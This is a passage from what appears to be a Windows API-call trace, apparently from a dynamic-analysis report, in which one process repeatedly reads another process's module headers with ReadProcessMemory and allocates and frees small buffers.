hProcess=0x118, lpBaseAddress=0x7fefc920000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.154] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.154] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9200e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.155] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.155] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9200e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.155] LocalFree (hMem=0x1d0420) returned 0x0 [0062.155] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.155] LocalFree (hMem=0x1d0400) returned 0x0 [0062.155] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38ac70, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.155] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.155] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3896f8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.155] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc910000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.155] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9100f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc9100f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalFree (hMem=0x1d0420) returned 0x0 [0062.156] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.156] LocalFree (hMem=0x1d0400) returned 0x0 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38ad60, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389838, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8b0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8b00e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8b00e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalFree (hMem=0x1d0420) returned 0x0 [0062.156] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.156] LocalFree (hMem=0x1d0400) returned 0x0 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38ae50, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389978, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc800000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.156] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8000e0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc8000e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalFree (hMem=0x1d0400) returned 0x0 [0062.157] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.157] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38af40, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3899c8, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7a0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7a00e8, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7a00e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalFree (hMem=0x1d0420) returned 0x0 [0062.157] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.157] LocalFree (hMem=0x1d0400) returned 0x0 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b030, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389a18, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc770000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.157] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.157] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7700e0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7700e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalFree (hMem=0x1d0400) returned 0x0 [0062.158] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.158] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b120, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b09f8, lpBuffer=0x1ee2e0, nSize=0x1a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc710000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7100e0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc7100e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalFree (hMem=0x1d0400) returned 0x0 [0062.158] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.158] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b210, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b09a8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd280000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.158] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.158] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd2800f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd2800f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalFree (hMem=0x1d0420) returned 0x0 [0062.159] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.159] LocalFree (hMem=0x1d0400) returned 0x0 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b300, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b7318, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6d0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6d00e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6d00e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalFree (hMem=0x1d0420) returned 0x0 [0062.159] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.159] LocalFree (hMem=0x1d0400) returned 0x0 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b3f0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b7458, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc680000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.159] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.159] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6800f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6800f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalFree (hMem=0x1d0420) returned 0x0 [0062.160] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.160] LocalFree (hMem=0x1d0400) returned 0x0 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b4e0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b7598, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc660000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6600e0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6600e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalFree (hMem=0x1d0420) returned 0x0 [0062.160] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.160] LocalFree (hMem=0x1d0400) returned 0x0 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b5d0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b76d8, lpBuffer=0x1d0400, nSize=0x14, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc610000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.160] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.160] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6100f0, lpBuffer=0x1d0420, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0420*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc6100f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalFree (hMem=0x1d0420) returned 0x0 [0062.161] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.161] LocalFree (hMem=0x1d0400) returned 0x0 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b6c0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x2a) returned 0x1eb440 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b8778, lpBuffer=0x1eb440, nSize=0x2a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eb440*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5c0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5c00e8, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5c00e8, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalFree (hMem=0x1d0400) returned 0x0 [0062.161] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.161] LocalFree (hMem=0x1eb440) returned 0x0 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b7b0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x1ee2e0 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x389248, lpBuffer=0x1ee2e0, nSize=0x20, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd070000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.161] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd0700e0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.161] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefd0700e0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalFree (hMem=0x1d0400) returned 0x0 [0062.162] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.162] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b8a0, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalAlloc (uFlags=0x40, uBytes=0x1c) returned 0x1ee2e0 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b78b8, lpBuffer=0x1ee2e0, nSize=0x1c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1ee2e0*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5a0000, lpBuffer=0x12fa50, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fa50*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5a00f0, lpBuffer=0x1d0400, nSize=0x18, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x7fefc5a00f0, lpBuffer=0x1eddc0, nSize=0x108, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1eddc0*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalFree (hMem=0x1d0400) returned 0x0 [0062.162] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.162] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x38b990, lpBuffer=0x12fbb0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x12fbb0*, lpNumberOfBytesRead=0x0) returned 1 [0062.162] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.162] ReadProcessMemory (in: hProcess=0x118, lpBaseAddress=0x3b7a98, lpBuffer=0x1d0400, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x1d0400*, lpNumberOfBytesRead=0x0) returned 1 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.163] LocalFree (hMem=0x1d0420) returned 0x0 [0062.163] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.163] LocalFree (hMem=0x1d0400) returned 0x0 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.163] LocalFree (hMem=0x1d0420) returned 0x0 [0062.163] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.163] LocalFree (hMem=0x1d0400) returned 0x0 [0062.163] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.164] LocalFree (hMem=0x1d0420) returned 0x0 [0062.164] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.164] LocalFree (hMem=0x1d0400) returned 0x0 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.164] LocalFree (hMem=0x1d0400) returned 0x0 [0062.164] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.164] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.164] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.165] LocalFree (hMem=0x1d0420) returned 0x0 [0062.165] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.165] LocalFree (hMem=0x1d0400) returned 0x0 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.165] LocalFree (hMem=0x1d0400) returned 0x0 [0062.165] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.165] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.165] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.166] LocalFree (hMem=0x1d0420) returned 0x0 [0062.166] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.166] LocalFree (hMem=0x1d0400) returned 0x0 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.166] LocalFree (hMem=0x1d0420) returned 0x0 [0062.166] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.166] LocalFree (hMem=0x1d0400) returned 0x0 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x1a) returned 0x1ee2e0 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0400 [0062.166] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.166] LocalFree (hMem=0x1d0400) returned 0x0 [0062.166] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.166] LocalFree (hMem=0x1ee2e0) returned 0x0 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x1d0400 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.167] LocalFree (hMem=0x1d0420) returned 0x0 [0062.167] LocalFree (hMem=0x1eddc0) returned 0x0 [0062.167] LocalFree (hMem=0x1d0400) returned 0x0 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x14) returned 0x1d0400 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x1d0420 [0062.167] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x1eddc0 [0062.167] LocalFree (hMem=0x1d0420) returned 0x0 [0062.167] 